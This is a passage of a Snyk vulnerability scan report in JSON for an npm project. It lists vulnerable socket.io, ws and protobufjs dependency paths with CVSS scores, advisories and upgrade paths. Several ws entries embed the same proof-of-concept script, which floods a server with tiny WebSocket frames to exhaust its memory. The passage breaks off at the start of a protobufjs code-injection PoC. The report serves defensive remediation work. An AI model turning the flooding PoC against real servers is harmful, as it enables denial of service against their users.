"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-04T14:52:18.662459Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:18.699464Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"socket.io-parser@4.2.6"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"socket.io-parser@4.2.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "socket.io-parser",
"version": "4.2.6"
},
{
"id": "SNYK-JS-WS-17344547",
"title": "Asymmetric Resource Consumption (Amplification)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Nadav Magier"
],
"semver": {
"vulnerable": [
">=1.1.0 <5.2.5",
">=6.0.0 <6.2.4",
">=7.0.0 <7.5.11",
">=8.0.0 <8.21.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"5.2.5",
"6.2.4",
"7.5.11",
"8.21.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "ws",
"references": [
{
"url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a",
"title": "GitHub Commit"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661",
"title": "Red Hat Bugzilla Bug"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-24T05:49:41.194423Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:16:02.859719Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:16:02.859719Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-24T05:49:41.194423Z"
}
],
"description": "## Overview\n[ws](https://www.npmjs.com/package/ws) is a simple to use websocket client, server and console for node.js.\n\nAffected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames\r\n\r\n## Workaround \r\nThis vulnerability can be mitigated by lowering the value of the `maxPayload` option.\n## PoC\n```js\r\nimport { WebSocket, WebSocketServer } from 'ws';\r\n\r\nconst wss = new WebSocketServer({ port: 0 }, function () {\r\n const data = Buffer.alloc(1);\r\n const options = { fin: false };\r\n const { port } = wss.address();\r\n const ws = new WebSocket(`ws://localhost:${port}`);\r\n\r\n ws.on('open', function () {\r\n (function send() {\r\n ws.send(data, options, function (err) {\r\n if (err) return;\r\n send();\r\n });\r\n })();\r\n });\r\n\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n\r\nwss.on('connection', function (ws) {\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `ws` to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p)\n- [GitHub Commit](https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2489661)\n",
"epssDetails": {
"percentile": "0.58956",
"probability": "0.00931",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-48779"
],
"CWE": [
"CWE-405",
"CWE-770"
],
"GHSA": [
"GHSA-96hv-2xvq-fx4p"
]
},
"packageName": "ws",
"proprietary": false,
"creationTime": "2026-06-16T12:21:35.837880Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-15T16:34:23Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-16T12:21:46.990314Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:16:02.859719Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"ws@8.20.0"
],
"upgradePath": [
false,
"ws@8.21.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "ws",
"version": "8.20.0"
},
{
"id": "SNYK-JS-WS-17344547",
"title": "Asymmetric Resource Consumption (Amplification)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Nadav Magier"
],
"semver": {
"vulnerable": [
">=1.1.0 <5.2.5",
">=6.0.0 <6.2.4",
">=7.0.0 <7.5.11",
">=8.0.0 <8.21.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"5.2.5",
"6.2.4",
"7.5.11",
"8.21.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "ws",
"references": [
{
"url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a",
"title": "GitHub Commit"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661",
"title": "Red Hat Bugzilla Bug"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-24T05:49:41.194423Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:16:02.859719Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:16:02.859719Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-24T05:49:41.194423Z"
}
],
"description": "## Overview\n[ws](https://www.npmjs.com/package/ws) is a simple to use websocket client, server and console for node.js.\n\nAffected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames\r\n\r\n## Workaround \r\nThis vulnerability can be mitigated by lowering the value of the `maxPayload` option.\n## PoC\n```js\r\nimport { WebSocket, WebSocketServer } from 'ws';\r\n\r\nconst wss = new WebSocketServer({ port: 0 }, function () {\r\n const data = Buffer.alloc(1);\r\n const options = { fin: false };\r\n const { port } = wss.address();\r\n const ws = new WebSocket(`ws://localhost:${port}`);\r\n\r\n ws.on('open', function () {\r\n (function send() {\r\n ws.send(data, options, function (err) {\r\n if (err) return;\r\n send();\r\n });\r\n })();\r\n });\r\n\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n\r\nwss.on('connection', function (ws) {\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `ws` to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p)\n- [GitHub Commit](https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2489661)\n",
"epssDetails": {
"percentile": "0.58956",
"probability": "0.00931",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-48779"
],
"CWE": [
"CWE-405",
"CWE-770"
],
"GHSA": [
"GHSA-96hv-2xvq-fx4p"
]
},
"packageName": "ws",
"proprietary": false,
"creationTime": "2026-06-16T12:21:35.837880Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-15T16:34:23Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-16T12:21:46.990314Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:16:02.859719Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"mqtt@5.14.0",
"ws@8.20.0"
],
"upgradePath": [
false,
"mqtt@5.14.0",
"ws@8.22.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "ws",
"version": "8.20.0"
},
{
"id": "SNYK-JS-WS-17344547",
"title": "Asymmetric Resource Consumption (Amplification)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Nadav Magier"
],
"semver": {
"vulnerable": [
">=1.1.0 <5.2.5",
">=6.0.0 <6.2.4",
">=7.0.0 <7.5.11",
">=8.0.0 <8.21.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"5.2.5",
"6.2.4",
"7.5.11",
"8.21.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "ws",
"references": [
{
"url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a",
"title": "GitHub Commit"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661",
"title": "Red Hat Bugzilla Bug"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-24T05:49:41.194423Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:16:02.859719Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:16:02.859719Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-24T05:49:41.194423Z"
}
],
"description": "## Overview\n[ws](https://www.npmjs.com/package/ws) is a simple to use websocket client, server and console for node.js.\n\nAffected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames\r\n\r\n## Workaround \r\nThis vulnerability can be mitigated by lowering the value of the `maxPayload` option.\n## PoC\n```js\r\nimport { WebSocket, WebSocketServer } from 'ws';\r\n\r\nconst wss = new WebSocketServer({ port: 0 }, function () {\r\n const data = Buffer.alloc(1);\r\n const options = { fin: false };\r\n const { port } = wss.address();\r\n const ws = new WebSocket(`ws://localhost:${port}`);\r\n\r\n ws.on('open', function () {\r\n (function send() {\r\n ws.send(data, options, function (err) {\r\n if (err) return;\r\n send();\r\n });\r\n })();\r\n });\r\n\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n\r\nwss.on('connection', function (ws) {\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `ws` to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p)\n- [GitHub Commit](https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2489661)\n",
"epssDetails": {
"percentile": "0.58956",
"probability": "0.00931",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-48779"
],
"CWE": [
"CWE-405",
"CWE-770"
],
"GHSA": [
"GHSA-96hv-2xvq-fx4p"
]
},
"packageName": "ws",
"proprietary": false,
"creationTime": "2026-06-16T12:21:35.837880Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-15T16:34:23Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-16T12:21:46.990314Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:16:02.859719Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"engine.io@6.6.4",
"ws@8.17.1"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"engine.io@6.6.11",
"ws@8.21.3"
],
"isUpgradable": true,
"isPatchable": false,
"name": "ws",
"version": "8.17.1"
},
{
"id": "SNYK-JS-WS-17344547",
"title": "Asymmetric Resource Consumption (Amplification)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Nadav Magier"
],
"semver": {
"vulnerable": [
">=1.1.0 <5.2.5",
">=6.0.0 <6.2.4",
">=7.0.0 <7.5.11",
">=8.0.0 <8.21.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"5.2.5",
"6.2.4",
"7.5.11",
"8.21.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "ws",
"references": [
{
"url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a",
"title": "GitHub Commit"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661",
"title": "Red Hat Bugzilla Bug"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-24T05:49:41.194423Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:16:02.859719Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:16:02.859719Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-24T05:49:41.194423Z"
}
],
"description": "## Overview\n[ws](https://www.npmjs.com/package/ws) is a simple to use websocket client, server and console for node.js.\n\nAffected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames\r\n\r\n## Workaround \r\nThis vulnerability can be mitigated by lowering the value of the `maxPayload` option.\n## PoC\n```js\r\nimport { WebSocket, WebSocketServer } from 'ws';\r\n\r\nconst wss = new WebSocketServer({ port: 0 }, function () {\r\n const data = Buffer.alloc(1);\r\n const options = { fin: false };\r\n const { port } = wss.address();\r\n const ws = new WebSocket(`ws://localhost:${port}`);\r\n\r\n ws.on('open', function () {\r\n (function send() {\r\n ws.send(data, options, function (err) {\r\n if (err) return;\r\n send();\r\n });\r\n })();\r\n });\r\n\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n\r\nwss.on('connection', function (ws) {\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `ws` to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p)\n- [GitHub Commit](https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2489661)\n",
"epssDetails": {
"percentile": "0.58956",
"probability": "0.00931",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-48779"
],
"CWE": [
"CWE-405",
"CWE-770"
],
"GHSA": [
"GHSA-96hv-2xvq-fx4p"
]
},
"packageName": "ws",
"proprietary": false,
"creationTime": "2026-06-16T12:21:35.837880Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-15T16:34:23Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-16T12:21:46.990314Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:16:02.859719Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"socket.io-adapter@2.5.5",
"ws@8.17.1"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"socket.io-adapter@2.5.8",
"ws@8.21.3"
],
"isUpgradable": true,
"isPatchable": false,
"name": "ws",
"version": "8.17.1"
}
],
"ok": false,
"dependencyCount": 362,
"org": "sean.graham",
"policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n",
"isPrivate": true,
"licensesPolicy": {
"severities": {},
"orgLicenseRules": {
"AGPL-1.0": {
"licenseType": "AGPL-1.0",
"severity": "high",
"instructions": ""
},
"AGPL-3.0": {
"licenseType": "AGPL-3.0",
"severity": "high",
"instructions": ""
},
"Artistic-1.0": {
"licenseType": "Artistic-1.0",
"severity": "medium",
"instructions": ""
},
"Artistic-2.0": {
"licenseType": "Artistic-2.0",
"severity": "medium",
"instructions": ""
},
"CDDL-1.0": {
"licenseType": "CDDL-1.0",
"severity": "medium",
"instructions": ""
},
"CPOL-1.02": {
"licenseType": "CPOL-1.02",
"severity": "high",
"instructions": ""
},
"EPL-1.0": {
"licenseType": "EPL-1.0",
"severity": "medium",
"instructions": ""
},
"GPL-2.0": {
"licenseType": "GPL-2.0",
"severity": "high",
"instructions": ""
},
"GPL-3.0": {
"licenseType": "GPL-3.0",
"severity": "high",
"instructions": ""
},
"LGPL-2.0": {
"licenseType": "LGPL-2.0",
"severity": "medium",
"instructions": ""
},
"LGPL-2.1": {
"licenseType": "LGPL-2.1",
"severity": "medium",
"instructions": ""
},
"LGPL-3.0": {
"licenseType": "LGPL-3.0",
"severity": "medium",
"instructions": ""
},
"MPL-1.1": {
"licenseType": "MPL-1.1",
"severity": "medium",
"instructions": ""
},
"MPL-2.0": {
"licenseType": "MPL-2.0",
"severity": "medium",
"instructions": ""
},
"MS-RL": {
"licenseType": "MS-RL",
"severity": "medium",
"instructions": ""
},
"SimPL-2.0": {
"licenseType": "SimPL-2.0",
"severity": "high",
"instructions": ""
}
}
},
"packageManager": "npm",
"ignoreSettings": {
"adminOnly": false,
"reasonRequired": false,
"disregardFilesystemIgnores": false,
"autoApproveIgnores": false,
"approvalWorkflowEnabled": false
},
"docker": {},
"summary": "52 high or critical severity vulnerable dependency paths",
"severityThreshold": "high",
"remediation": {
"unresolved": [
{
"id": "SNYK-JS-APOLLOPROTOBUFJS-16321047",
"title": "Arbitrary Code Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"credit": [
"Cristian-Alexandru Staicu"
],
"semver": {
"vulnerable": [
"<1.2.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.2.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.5,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@apollo/protobufjs",
"references": [
{
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2026-04-24T02:21:54.472893Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.8,
"modificationTime": "2026-04-29T05:21:17.052404Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.5,
"cvssVersion": "4.0",
"modificationTime": "2026-09-28T15:25:15.343948Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T15:25:15.343948Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2026-04-24T02:21:54.472893Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-04-29T05:21:17.052404Z"
}
],
"description": "## Overview\n[@apollo/protobufjs](https://www.npmjs.com/package/@apollo/protobufjs) is a language-neutral, platform-neutral, extensible way of serializing structured data for use in communications protocols, data storage, and more, originally designed at Google\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection through the handling of user-supplied protobuf definitions, specifically via the Type's `name` field. An attacker can execute arbitrary JavaScript code by injecting malicious payloads into the protobuf definition, which are then executed during object decoding.\r\n\r\n**Notes:** \r\n- The vulnerability was introduced during the migration to [codegen 2](https://github.com/protobufjs/protobuf.js/commit/17c2797592bc4effd9aaae3ba9777c9550bb75ac) where sanitization of the type name was modified.\r\n- Additional security measures were introduced in `@protobufjs/codegen@2.0.5`, which could hinder exploitation on vulnerable versions.\n## PoC\n```js\r\nconst protobuf = require('protobufjs');\r\nmaliciousDescriptor = 